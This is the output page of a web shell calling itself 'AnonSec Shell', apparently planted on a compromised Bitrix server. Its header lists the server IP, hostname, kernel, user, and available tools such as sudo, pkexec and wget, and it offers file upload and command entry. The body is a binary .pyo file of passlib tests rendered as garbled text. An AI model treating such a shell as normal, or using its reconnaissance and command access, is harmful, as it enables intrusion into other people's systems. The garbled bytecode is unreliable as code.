AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.141.47.50
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/passlib/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyo
�
�
5Xc@�s]dZddlmZddlmZddlZddlZyddlmZWne	k
rke
ZnXddlmZddl
mZmZmZddlmZmZddljjZdd	lmZmZdd
lmZmZmZ ee!�Z"defd��YZ#d
efd��YZ$dej%fd��YZ&defd��YZ'dS(stests for passlib.context

this file is a clone of the 1.5 test_context.py,
containing the tests using the legacy CryptPolicy api.
it's being preserved here to ensure the old api doesn't break
(until Passlib 1.8, when this and the legacy api will be removed).
i����(twith_statement(t	getLoggerN(tresource_filename(thash(tCryptContexttCryptPolicytLazyCryptContext(tto_bytest
to_unicode(tTestCasetset_file(tregister_crypt_handler_patht_has_crypt_handlert_unload_handler_nametCryptPolicyTestcB�sQeZdZdZdZejjejjejj	e
�d��Zejje�rpe
rpe
dd�Zneddddd	gd
dddd
ddddddd�Zidd6dd
6dd6dd6dd6dd6dd6Zedejejejejgd
dddd
ddddddd�ZdZeddd
ddddd �Zeddddd	gd
dddddd
ddddddd �Zed
d	�Zeddddd	gd
d	ddddd
ddddddd �Zd!Zedd	gdddd"d#d$d%d�Zed&Zej�Z e j!d'dgd(ddg�ej�Z"e"j!idd'6d)d*6�ej�Z#e#j!idgd'6ddgd(6�d+�Z$d,�Z%d-�Z&d.�Z'd/�Z(d0�Z)d1�Z*d2�Z+d3�Z,d4�Z-d5�Z.d6�Z/d7�Z0d8�Z1d9�Z2d:�Z3d;�Z4d<�Z5RS(=stest CryptPolicy objectRs�[passlib]
schemes = des_crypt, md5_crypt, bsdi_crypt, sha512_crypt
default = md5_crypt
all.vary_rounds = 10%%
bsdi_crypt.max_rounds = 30000
bsdi_crypt.default_rounds = 25000
sha512_crypt.max_rounds = 50000
sha512_crypt.min_rounds = 40000
ssample_config_1s.cfgs
passlib.teststschemest	des_cryptt	md5_cryptt
bsdi_crypttsha512_crypttdefaulttall__vary_roundsg�������?tbsdi_crypt__max_roundsi0utbsdi_crypt__default_roundsi�atsha512_crypt__max_roundsiP�tsha512_crypt__min_roundsi@�s.des_crypt, md5_crypt, bsdi_crypt, sha512_cryptsall.vary_roundssbsdi_crypt.max_roundssbsdi_crypt.default_roundsssha512_crypt.max_roundsssha512_crypt.min_roundss�[passlib]
bsdi_crypt.min_rounds = 29000
bsdi_crypt.max_rounds = 35000
bsdi_crypt.default_rounds = 31000
sha512_crypt.min_rounds = 45000
tbsdi_crypt__min_roundsiHqi��iyiȯs�
[passlib]
schemes = sha512_crypt
all.vary_rounds = 10%%
default.sha512_crypt.max_rounds = 20000
admin.all.vary_rounds = 5%%
admin.sha512_crypt.max_rounds = 40000
i Ntadmin__all__vary_roundsg�������?tadmin__sha512_crypt__max_roundssJdeprecated = des_crypt
admin__context__deprecated = des_crypt, bsdi_crypt
t
deprecatedtadmin__context__deprecatedsdes_crypt, bsdi_cryptsadmin.context.deprecatedcC�sQtj|�tjdd�tjdd�tjdd�tjdd�dS(Ntignores)The CryptPolicy class has been deprecateds,the method.*hash_needs_update.*is deprecateds The 'all' scheme is deprecated.*sbsdi_crypt rounds should be odd(R	tsetUptwarningstfilterwarnings(tself((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyR �s
		cC�sot|j�}|j|j�|j�t|j�}|j|j�|j�|jttii�|jttidd�|jttdddddgdd	�d
tjfd��Y}|jttd|g�|jttdtjg�dtjfd
��Y}|jt	td||g�|jt	tddgddg�|jt	tddgdd�dS(stest CryptPolicy() constructortdummyiRRRRRt bad__key__bsdi_crypt__max_roundsi0utnamelesscB�seZdZRS(N(t__name__t
__module__tNonetname(((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyR&�stdummy_1cB�seZdZRS(R+(R'R(R*(((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyR+�sRRN(
Rtsample_config_1pdtassertEqualtto_dicttassertRaisest	TypeErrortuht
StaticHandlert
ValueErrortKeyError(R#tpolicyR&R+((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_00_constructor�s(	
	cC�sO|j}tj|�}|j|j�|j�|jttj|d�dS(s(test CryptPolicy.from_path() constructortxxxN(tsample_config_1s_pathRt	from_pathR-R.R,R/tEnvironmentError(R#tpathR5((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_01_from_path_simples	cC�s�|j�}t||j�tj|�}|j|j�|j�t||jjdd��tj|�}|j|j�|j�t	|jddd�}t||�tj|dd�}|j|j�|j�dS(s7test CryptPolicy.from_path() constructor with encodingss
s
sutf-16tsource_encodingsutf-8tencodingN(
tmktempR
tsample_config_1sRR9R-R.R,treplaceR(R#R;R5tuc2((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_01_from_paths
cC�stj|j�}|j|j�|j�tj|jjdd��}|j|j�|j�t|j�}tj|�}|j|j�|j�t|jddd�}tj|dd�}|j|j�|j�tj|j	�}|j|j�|j
�dS(s*test CryptPolicy.from_string() constructors
s
sutf-16R=sutf-8R>N(Rtfrom_stringR@R-R.R,RARRtsample_config_4stsample_config_4pd(R#R5tdataRB((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_02_from_string"scC�s�tj|j�}|j|j�|j�tj|j�}|j|j�|j�tj|jj��}|j|j�|j�tj|�}|j||�|j	t
tjd�|j	t
tjg�dS(s*test CryptPolicy.from_source() constructoriN(Rtfrom_sourceR8R-R.R,R@tcopytassertIsR/R0(R#R5tp2((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_03_from_source;scC�s�|jttjg�tj|jg�}|j|j�|j�tj|j|j	|j
g�}|j|j�|j�dS(s+test CryptPolicy.from_sources() constructorN(R/R3Rtfrom_sourcesR@R-R.R,R8tsample_config_2stsample_config_3pdtsample_config_123pd(R#R5((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_04_from_sourcesQscC�s�t|j�}|j|j�}|j|j�|j�|j|j�}|j|j�|j�|j|j�}|j|j�|j�dS(s&test CryptPolicy.replace() constructorN(	RR,RAtsample_config_2pdR-R.tsample_config_12pdRPRQ(R#tp1RLtp2btp3((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_05_replacedscC�sd|jttddgdd�|jttddgdd�|jttddgddg�dS(	s!test CryptPolicy() forbidden kwdsRRtdes_crypt__salttxxt	all__salttuser__context__schemesRN(R/R4R(R#((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_06_forbiddenus			cC�sIt|j�}|j|j��t|j�}|j|j��dS(stest has_schemes() methodN(RR,t
assertTruethas_schemesRP(R#RURW((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_10_has_schemes�scC�sgt|j�}|jd}|jt|j��|�t|j�}|jt|j��g�dS(stest iter_handlers() methodRN(RR,tsample_config_1prdR-tlistt
iter_handlersRP(R#RUtsRW((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_11_iter_handlers�s

cC�s}t|j�}|j|jd�tj�|j|jd�d�|jt|jddt	�|j|j�tj
�dS(stest get_handler() methodRtsha256_crypttrequiredN(RR,RKtget_handlerRRR)R/R4tTrueR(R#RU((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_12_get_handler�s
cC�st|j�}|j|jd�tdddddddd	��|j|jd
�tdddddd��tj|j�}|j|jd
�tdddd
��|j|jd
d�tdddd
��|j|jd
d�tdddd��dS(stest get_options() methodRtvary_roundsg�������?t
min_roundsiHqt
max_roundsi��tdefault_roundsiyRiȯiP�i Ntusertadming�������?i@�N(RRTR-tget_optionstdictRDRE(R#tp12tp4((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_13_get_options�s(



cC�s�t|j�}t|j�}|j|jd��|j|jtj��|j|jd��|j|jd��|j|jtj��|j|jd��|j|jdd��|j|jdd��|j|jdd��|j|jdd��tdddgddgd	dg�}|j|jd��|j|jd��|j|jdd��|j|jdd��d
S(s#test handler_is_deprecated() methodRRRoRRpRRRtuser__context__deprecatedN(RR,tsample_config_5pdtassertFalsethandler_is_deprecatedRRR^(R#tpatpbtpc((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_14_handler_is_deprecated�s(	cC�s�tjddt�t�}|j|j�d�|j|jd�d�|jdd�}|j|j�d�|j|jd�d�dS(s!test get_min_verify_time() methodRtcategoryiRptmin_verify_timeg�������?N(R!R"tDeprecationWarningRR-tget_min_verify_timeRA(R#RzR{((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_15_min_verify_time�s	cC�s|t|j�}|jt|j��|j�|jt|jdt��|j�|jt|jdt��|j�dS(stest iter_config() methodtresolvetiniN(RRwR-Rrtiter_configRitsample_config_5prdtsample_config_5pid(R#tp5((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_20_iter_configs%cC�sKt|j�}|j|j�|j�|j|jdt�|j�dS(stest to_dict() methodR�N(RRwR-R.RiR�(R#R�((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_21_to_dict	scC�sit|j�}|j�}tj|�}|j|j�|j�|jdd�}|j|t�dS(stest to_string() methodR>slatin-1N(RRwt	to_stringRDR-R.tassertIsInstancetbytes(R#RzRdR{((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_22_to_strings(6R'R(t__doc__tdescriptionPrefixR@tosR;tabspathtjointdirnamet__file__R8texistsRRrR,tsample_config_1pidRRRRRRaRORSRTRPRQRERFtsample_config_5sRJRwtupdateR�R�R R6R<RCRHRMRRRXR]R`ReRjRuR}R�R�R�R�(((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyR%s�	
					
				
		
			(										
		'				tCryptContextTestcB�s�eZdZdZd�Zd�Zd�Zd�Zedddd	d
dgddgd
ddddddddddddddddd�Z	d�Z
d�ZRS(stest CryptContext classRcC�sQtj|�tjdd�tjdd�tjdd�tjdd�dS(NRs3CryptContext\(\)\.replace\(\) has been deprecated.*s9The CryptContext ``policy`` keyword has been deprecated.*s=.*(CryptPolicy|context\.policy).*(has|have) been deprecated.*s,the method.*hash_needs_update.*is deprecated(R	R R!R"(R#((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyR $s
			cC�s�ttjtjtjg�}|jj�\}}}|j|tj�|j|tj�|j|tj�tdddg�}|jj�\}}}|j|tj�|j|tj�|j|tj�|j}td|�}|j|j	�|j	��td|dd�}|j
|j	�|j	��|j|j	�tddddgdd��|jt
t|dd�|jt
tdd�dS(	stest constructorRRRR5RRtxN(RRRRRR5RcRKR-R.tassertNotEqualRrR/R0tsetattrR)(R#tcctctbtaR5((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyR61s&	$
cC�s�tdddg�}|j|jj�tj�|j�}|j||�|jdd�}|j||�|j|jj�tj�dS(stest replace()RRRRN(	RRKR5RhRRRAtassertIsNotR(R#R�tcc2tcc3((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_01_replaceNscC�s�t�}|jt|jddt�|jt|jd�|jt|jdd�tdg�}tdg�}||_|jt|jddt�|jt|jd�|jt|jdd�dS(stest no handlersRRgtsecretRRN(	RR/R4tidentifyRiRtverifyRR5(R#R�tp((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_02_no_handlers_s		RRRtphpassRRfRRRiRitbsdi_crypt__vary_roundsitsha256_crypt__max_roundsi�tsha256_crypt__min_roundsi�tsha256_crypt__default_roundst
phpass__identtHtphpass__default_roundsicC�s�t|j�}|j|jd��|j|jd��|j|jd��|j|jd��|j|jd��|j|jd��dS(stest hash_needs_update() methodt
9XXD4trGYeGJAs"$1$J8HC2RCr$HcmM.7NxB2weSvlw2FgzU0sK$5$rounds=1999$jD81UCoo.zI.UETs$Y7qSTQ6mTiU9qZB4fRr43wRgQq4V.5AAf7F97Pzxey/sK$5$rounds=2000$228SSRje04cnNCaQ$YGV4RYu.5sNiBvorQDlO0WWQjyJVGKBcJXz3OtyQ2u8sK$5$rounds=3000$fS9iazEwTKi7QPW4$VasgBC8FqlOvD7x2HhABaMXCTh9jwHclPA9j5YQdns.sK$5$rounds=3001$QlFHHifXvpFX4PLs$/0ekt7lSs/lOikSerQ0M/1porEHxYq7W/2hdFpxA3fAN(Rtsample_policy_1R^thash_needs_updateRx(R#R�((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_12_hash_needs_update�scC�s�tjdd�tdg�}xXdifdidd6fdifdifgD]%\}}|jt|j||�qQWtdg�}|jt|jd�dS(	s'test non-string hash values cause errorRs0.*needs_update.*'scheme' keyword is deprecated.*Rtschemeitmysql323N((R!R"RR)R/R0R�(R#R�RtkwdsR�((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_30_nonstring_hash�s		(R'R(R�R�R R6R�R�RrR�R�R�(((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyR� s*	
							tdummy_2cB�seZdZRS(R�(R'R(R*(((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyR��stLazyCryptContextTestcB�s)eZdZd�Zd�Zd�ZRS(RcC�sKtj|�td�|jtd�tjdd�tjdd�dS(NR�Rs1CryptContext\(\)\.replace\(\) has been deprecateds=.*(CryptPolicy|context\.policy).*(has|have) been deprecated.*(R	R tunload_handler_namet
addCleanupR!R"(R#((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyR �s

	cC�s�|jtd��tdd�ttddg�ddg�}|jtdt��|j|jjd��|j	|jj
�ddg�|jtdt��dS(stest plain kwdsR�spasslib.tests.test_contextRRN(Rxthas_crypt_handlerRRtiterRiR^R5RyR-R(R#R�((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_kwd_constructor�s
!c�s��jtd��tdd�t�fd�}td|dt�}�jtdt���j|jjd���j	|jj
�ddg��jtdt��dS(s0test create_policy() hook, returning CryptPolicyR�spasslib.tests.test_contextc�s/�j|�tdtddg�ddg�S(NRR�RR(R^RR�(tflag(R#(sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyt
create_policy�s
R�R�RN(RxR�RtFalseRRiR^R5RyR-R(R#R�R�((R#sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyttest_callable_constructor�s
(R'R(R�R R�R�(((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyR��s		((R�t
__future__RtloggingRR�R!t
pkg_resourcesRtImportErrorR)tpasslibRtpasslib.contextRRRt
passlib.utilsRRtpasslib.utils.handlerstutilsthandlersR1tpasslib.tests.utilsR	R
tpasslib.registryRRR�R
R�R'tlogRR�R2R�R�(((sI/usr/lib/python2.7/site-packages/passlib/tests/test_context_deprecated.pyt<module>s(

���

Anon7 - 2022
AnonSec Team